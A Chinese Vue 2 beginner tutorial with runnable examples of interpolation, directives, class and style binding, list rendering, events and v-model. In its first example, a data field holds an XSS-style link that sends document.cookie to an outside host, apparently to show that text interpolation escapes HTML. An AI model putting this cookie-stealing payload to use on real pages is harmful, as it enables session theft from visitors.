Vue2系列(lqz)——Vue基础
Vue介绍
一 模板语法
1.1 插值
1.1.1 概述
1 文本 {{}}
2 纯html
3 表达式
注意：直接把Vue对象赋值给变量，修改变量值，可以直接修改页面内容
-vm.$data.name
-vm.name
1.1.2 案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
{{name}}
<br>
{{10}}
<br>
{{10+20}}
<br>
{{10>20?'大于':'小于'}}
<br>
{{myhtml}}
</div>
</body>
<script>
new Vue({
el:'#box',
data:{
name:'lqz',
myhtml:"<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>点我看美女</a>",
}
})
</script>
</html>
二 指令
2.1 文本相关指令
>1 v-text
>2 v-html
>3 v-show
>4 v-if
>注意:v-show和v-if的区别
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<p v-text='msg'>原文本会被替换</p>
<div v-html="myhtml"></div>
<div v-show="isShow">显示</div>
<div v-if="isCreated">显示</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
msg: 'lqz',
myhtml:'<a href="http://www.baidu.com">点我</a>',
isShow:true,
isCreated:true
}
})
</script>
</html>
2.2 事件指令
<!-- v-on: 指令 简写 @ -->
<!-- 不传参事件绑定，但事件回调方法可以获取事件对象 -->
<p @click="fn"></p>
<!-- ()可以传入具体实参 -->
<p @click="fn()"></p>
<!-- ()情况下，事件对象应该显式传入 -->
<p @click="fn($event)"></p>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button v-on:click="test">点我</button>
<button @click="test()">点我2</button>
<button @click="test2($event)">点我3</button>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
},
methods:{
test(){
console.log('test')
},
test2(ev){
console.log(ev)
},
}
})
</script>
</html>
2.3 属性指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass{
background: red;
}
.yellowclass{
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<!--绑定src -->
<img v-bind:src="mysrc"/>
<img :src="mysrc"/>
<!--绑定class-->
<div v-bind:class="red">111111111</div>
<button @click="change">点击变色</button>
<div v-bind:class="isActive?'redclass':'yellowclass'">222222222</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mysrc:"https://pic.maizuo.com/usr/movie/73b25044a8c9756fa41d3a723ee6c2c2.jpg",
isActive:false,
red:'redclass',
yellow:'yellowclass',
},
methods: {
change(){
this.isActive=!this.isActive
},
}
})
</script>
</html>
三 class与style
3.1 class的三种写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div :class="isActive?'redclass':'yellowclass'">class三目写法</div>
<p :class="classObj">class对象写法</p>
<p :class="classarr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
classObj: {
class_a: true,
class_b: true,
//class_a,class_b是class的名字,
//vm.classObj.class_a=false
//vm.classObj.class_c=true 设置不进去
},
classarr:['a','b']
//vm.classarr.pop()
//vm.classarr.push('c')
},
methods: {
}
})
</script>
</html>
3.2 style的写法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div :style="'background:'+'red'">class三目写法</div>
<div :style="'background:'+(isActive?'red':'yellow')">class三目写法</div>
<!--vm.isActive=true-->
<p :style="styleobj">class对象写法</p>
<p :style="styleattr">class数组写法</p>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
styleobj:{
background:'yellow',
fontSize:'30px',
},
styleattr:[{background:'red'},],
// styleattr:[]
//vm.styleattr.push({background:'red'})
//vm.styleattr.shift(),pop
},
methods: {
}
})
</script>
</html>
四 条件渲染
4.1 动态创建删除(v-else)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<button @click="handlediv">动态删除添加</button>
<div v-if="isActive">我出现了</div>
<div v-else>我是else</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
},
methods: {
handlediv() {
this.isActive = !this.isActive
}
}
})
</script>
</html>
五 列表渲染(v-for)
5.1 v-if+v-for控制购物车显示
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<button @click="add">加入购物车</button>
<ul v-if="!datalist.length==0">
<li v-for="data in datalist">{{data}}</li>
</ul>
<div v-else>购物车空空如也</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isActive: false,
// datalist:['111','222','3333']
datalist:[]
},
methods: {
add(){
this.datalist=['111','222','3333']
},
}
})
</script>
</html>
5.2 v-if/v-else-if/v-else
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<div v-if="which==1">1111</div>
<div v-else-if="which==2">222</div>
<div v-else>333</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
which:1
},
})
</script>
</html>
5.3 v-for遍历列表，对象
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<ul>
<li v-for="(value,index) in arr">{{value}}---{{index}}</li>
</ul>
<hr>
<ul>
<li v-for="(value,key) in obj">{{value}}---{{key}}</li>
</ul>
<hr>
<ul>
<li v-for="(value,key) of obj">{{value}}---{{key}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
arr: ['11', '22', '33'],
obj: {name: 'lqz', age: 18, sex: '男'}
},
})
</script>
</html>
5.4 key值解释
<!-- 虚拟dom比对变更优化相关，使用唯一key值，插入一个标签，更改的少
跟踪每个节点身份，从而重新排序现有元素
理想的key值是每项都有且唯一的值，id等
-->
<ul>
<li v-for="(value,index) in arr" :key="index">{{value}}---{{index}}</li>
</ul>
5.5 数组更新与检测
<!--
1 使用以下方法操作数组，可以检测变动：push，pop，shift，unshift,splice,sort,reverse
2 不会检测变动filter(),concat(),slice(),map()，新数组替换旧数组
-页面不会更改：vm.arr.concat(['44','55'])
-解决vm.arr=vm.arr.concat(['44','55'])
3 页面不会更改：通过索引值更新数组
-解决方案一：
vm.arr[0]
"11"
vm.arr[0]='99'
"99"
vm.arr.splice(0,1,'88')
["99"]
-解决方案二
Vue.set(vm.arr,0,'lqz')
3 上面能更新是因为作者重写了那些方法
-->
六 事件处理
input
change
blur
6.1 input过滤案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
<style>
.redclass {
background: red;
}
.yellowclass {
background: yellow;
}
</style>
</head>
<body>
<div id="box">
<!-- <p><input type="text" v-model="mytext" @change="handleChange"></p>-->
<!-- <p><input type="text" v-model="mytext" @blur="handleChange"></p>-->
<p><input type="text" v-model="mytext" @input="handleChange"></p>
<ul>
<li v-for="data in newlist">{{data}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext: '',
datalist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
newlist: ['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac'],
},
methods: {
handleChange() {
console.log(this.mytext)
this.newlist=this.datalist.filter(item=>{
return item.indexOf(this.mytext)>-1
})
},
},
})
var a=['aaa', 'abc', 'abcde', 'abcdef', 'bbb', 'bac']
// var aa=a.filter(function (item) {
// if(item.indexOf('a')>-1){
// return true
// }else {
// return false
// }
// })
var aa=a.filter(item=>{
return item.indexOf('a')>-1
})
</script>
</html>
6.2 简单事件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button @click="handleShow">按钮1</button>
<button @click="handleShow()">按钮2</button>
<button @click="isShow=!isShow">按钮3</button>
<div v-show="isShow">显示</div>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow:true,
},
methods: {
handleShow() {
this.isShow=!this.isShow
},
},
})
</script>
</html>
6.3 事件修饰符
.stop 阻止事件冒泡
.prevent 阻止a链接跳转
.self 只处理自己的事件，子控件冒泡的事件不处理
.once 只处理一次就解绑(抽奖页面)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<button @click="handleShow">按钮1</button>
<button @click="handleShow()">按钮2</button>
<button @click="isShow=!isShow">按钮3</button>
<div v-show="isShow">显示</div>
<hr>
<ul @click="handleUl">
<li @click="handleLi($event)">111</li>
<li @click.stop="handleLinew">222</li>
<li @click="handleLi">333</li>
</ul>
<br>
<a href="http://www.baidu.com" @click="handlea($event)">点击跳转，不拦截</a>
<a href="http://www.baidu.com" @click.prevent="handlea">点击拦截</a>
<ul @click.self="handleUl">
<li @click="handleLi2">111</li>
<li @click="handleLi2">222</li>
<li @click="handleLi2">333</li>
</ul>
<button @click.once="test">只执行一次</button>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow: true,
},
methods: {
handleUl() {
console.log('ululul')
},
handleLi(ev) {
console.log('lilili')
ev.stopPropagation()
},
handleLi2(){
console.log('safsd')
},
handleLinew() {
console.log('lililinew')
},
handlea(ev) {
ev.preventDefault()
console.log('不跳了')
},
test(){
console.log('test')
},
},
})
</script>
</html>
6.4 按键修饰符
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" @keyup="handleKeyUp" v-model="mytext">
<input type="text" @keyup.enter="handleKeyUp2" v-model="mytext">
<!--不是所有的按键都写了，所以可以使用keycode数字-->
<input type="text" @keyup.13="handleKeyUp2" v-model="mytext">
<ul>
<li v-for="data in datalist">{{data}}</li>
</ul>
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
isShow: true,
mytext:'',
datalist:[]
},
methods: {
handleKeyUp(ev){
console.log(ev)
if(ev.keyCode==13){
console.log('回车')
this.datalist.push(this.mytext)
}
},
handleKeyUp2(){
this.datalist.push(this.mytext)
},
}
})
</script>
</html>
七 表单控件绑定/双向数据绑定
7.1 v-model基本使用
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model="mytext">
{{mytext}}
<br>
<textarea name="" id="" cols="30" rows="10" v-model="textbig"></textarea>
{{textbig}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
textbig:'',
},
})
</script>
</html>
7.2 checkbox选中
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model="mytext">
{{mytext}}
<br>
<textarea name="" id="" cols="30" rows="10" v-model="textbig"></textarea>
{{textbig}}
<br>
<input type="checkbox" v-model="radio">记住用户名
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
textbig:'',
radio:false,
},
})
</script>
</html>
7.3 多选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<br>
<p>你喜欢的运动</p>
<input type="checkbox" v-model="checkgroup" value="抽烟">抽烟
<input type="checkbox" v-model="checkgroup" value="喝酒">喝酒
<input type="checkbox" v-model="checkgroup" value="烫头">烫头
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
checkgroup:[],
},
})
</script>
</html>
7.4 单选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<br>
<p>你最喜欢的编程语言</p>
<input type="radio" value="Python" v-model="radio">Python
<input type="radio" value="Java" v-model="radio">Java
<input type="radio" value="c++" v-model="radio">C++
{{radio}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
radio:'',
},
})
</script>
</html>
7.5 购物车案例
7.5.1 基本购物车
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup">
{{data}}
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
}
})
</script>
</html>
7.5.1 全选，全不选
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="checkbox" @change="handleChange" v-model="isALl">全选/全不选
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup" @change="handleLi">
{{data}}
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
isALl:false,
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
}else{
this.checkgroup=[]
}
},
handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
}else{
this.isALl=true
}
}
}
})
</script>
</html>
7.5.3 控制加减
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="checkbox" @change="handleChange" v-model="isALl">全选/全不选
<ul>
<li v-for="data in datalist">
<!--<input type="checkbox" :value="data.name" v-model="checkgroup">-->
<input type="checkbox" :value="data" v-model="checkgroup" @change="handleLi">
{{data}}
<button @click="data.number++">+</button>
{{data.number}}
<button @click="handleClick(data)">-</button>
</li>
</ul>
<!--要加括号，函数返回什么，该位置就写什么-->
<p>总金额是：{{getsum()}}</p>
<br>
{{checkgroup}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
datalist:[
{name:'特斯拉',price:10,number:1,id:'1'},
{name:'充气',price:20,number:3,id:'2'},
{name:'娃娃',price:30,number:2,id:'3'},
],
checkgroup:[],
isALl:false,
},
methods:{
getsum(){
var sum=0;
for(var item in this.checkgroup){
sum+=this.checkgroup[item].price*this.checkgroup[item].number
}
return sum
},
handleChange(){
console.log(this.isALl)
if(this.isALl){
this.checkgroup=this.datalist
}else{
this.checkgroup=[]
}
},
handleLi(){
if(this.checkgroup.length<3){
this.isALl=false
}else{
this.isALl=true
}
},
handleClick(data){
if(data.number==1){
data.number=1
}else{
data.number--
}
}
}
})
</script>
</html>
7.6 v-model之lazy,number,trim
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="js/vue.js"></script>
</head>
<body>
<div id="box">
<input type="text" v-model.lazy="mytext"> {{mytext}}
<br>
<input type="text" v-model.number="mytext"> {{mytext}}
<br>
<input type="text" v-model.trim="mytext"> {{mytext}}
</div>
</body>
<script>
var vm = new Vue({
el: '#box',
data: {
mytext:'',
},
})
</script>
</html>
Vue2系列(lqz)——Vue基础的更多相关文章
- 从壹开始前后端分离 [ Vue2.0+.NET Core2.1] 十八║Vue基础: 指令(下)+计算属性+watch
回顾 今天来晚辣,给公司做了一个小项目,一个瀑布流+动态视频控制的DEMO,有需要的可以联系我,公司的项目就不对外展示了(一个后端程序员真的要干前端了哈哈哈). 书接上文,昨天正式的开始了Vue的代码 ...
- 从壹开始前后端分离 [ Vue2.0+.NET Core2.1] 十九║Vue基础: 样式动态绑定+生命周期
回顾 哈喽大家好,前后端分离系列文章又开始了,今天周一,还是感谢大家花时间来观看我写的博客,周末呢,没有写文章,但是也没有闲着,主要是研究了下遗留问题,看过之前文章的应该知道,之前的在AOP使用Red ...
- 从壹开始前后端分离 [ Vue2.0+.NET Core2.1] 二十║Vue基础终篇：传值+组件+项目说明
缘起 新的一天又开始啦,大家也应该看到我的标题了,是滴,Vue基础基本就到这里了,咱们回头看看这一路,如果你都看了,并且都会写了,那么现在你就可以自己写一个Demo了,如果再了解一点路由,ajax请求 ...
- Vue基础系列（三）——Vue模板中的数据绑定语法
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家和我一起交流. VUE基础系列目录 < ...
- Vue基础系列（二）——Vue中的methods属性
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家指出. 作者简介: 一个不知名的前端开发 ...
- Vue基础系列（四）——Vue中的指令（上）
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家和我一起交流. VUE基础系列目录 < ...
- Vue基础系列（五）——Vue中的指令（中）
写在前面的话: 文章是个人学习过程中的总结,为方便以后回头在学习. 文章中会参考官方文档和其他的一些文章,示例均为亲自编写和实践,若有写的不对的地方欢迎大家和我一起交流. VUE基础系列目录 < ...
- vue基础知识之vue-resource/axios
Vue基础知识之vue-resource和axios(三) vue-resource Vue.js是数据驱动的,这使得我们并不需要直接操作DOM,如果我们不需要使用jQuery的DOM选择器,就没 ...
- Vue基础及脚手架环境搭建
From:http://www.jianshu.com/p/dc5057e7ad0d 一.vue基础 “Vue2.0”跟俺一起全面入坑 01 “Vue2.0”跟俺一起全面入坑 02 “Vue2.0”跟 ...
- Vue基础知识之vue-resource和axios
Vue基础知识之vue-resource和axios 原文链接:http://www.cnblogs.com/Juphy/p/7073027.html vue-resource Vue.js是数据驱 ...
随机推荐
- PySide6（Qt for Python） QTableWidget表头边框线问题
这个问题是在Windows10平台下特有问题. 网络上有很多Qt C++的解决方案.但是没有特定的PySide6的解决方案(以下是Qt C++的解决方案). https://blog.csdn.net ...
- 自然语言处理 Paddle NLP - 基于预训练模型完成实体关系抽取
自然语言处理 Paddle NLP - 信息抽取技术及应用 重点:SOP 图.BCEWithLogitsLoss 基于预训练模型完成实体关系抽取 信息抽取旨在从非结构化自然语言文本中提取结构化知识,如 ...
- MVC 模式和三层架构
1. MVC 模式 MVC 模式和三层架构是一些理论的知识,将来我们使用了它们进行代码开发会让我们代码维护性和扩展性更好. MVC 是一种分层开发的模式,其中: M:Model,业务模型,处理 ...
- Cisco命令中login和login local的区别
login是开启远程登录密码验证,login local不但要求密码,还要求提供用户名 如果同时设置login和login local,login local有效 (config-line)#line ...
- Flutter upgrade 卡死问题
使用 到本地的flutter sdk的目录下 $flutter upgrade --force 降低到指定版本 : $flutter version 1.22.4
- .NET Core 3.1使用docker打包并部署
目录 简介 环境介绍 开发环境 部署环境 编写Dockerfile文件 生成Docker镜像 运行容器 访问接口 结语 简介 本文主要说明使用.NET Core 3.1搭建的站点如何使用docker打 ...
- Day-4 路由匹配源码
1. 请求来了会走WSGIHandler的call方法 convert_exception_to_response也是进行封装 真的handler是从下图定义 resolver = URLResolv ...
- ArrayList按指定大小分割集合
ArrayList按指定大小分割集合 项目中使用SpringDataJpa的使用,用到了批量操作,发现框架本身有限制,长度不能超过1000,所以就百度了一下,网上都说是分段处理,也有说用OR的,但数据 ...
- 解决 Blazor 中因标签换行导致的行内元素空隙问题
实践过不同前端框架的朋友应该都知道,对于同一个样式,在不同框架上的表现都会有不同,时时需要做"适配",在 Blazor 上也不例外.在做 Ant Design Blazor 时就深 ...
- nflsoj 5926 素数环
题目非常简单,只需要判断相邻两个数的和是不是素数,素数的判断参考数论 不过要注意的一点是题目说的是一个环,所以首尾两个数的和也要是素数 我在输出的时候加上了 is_prime(path[n-1]+1) ...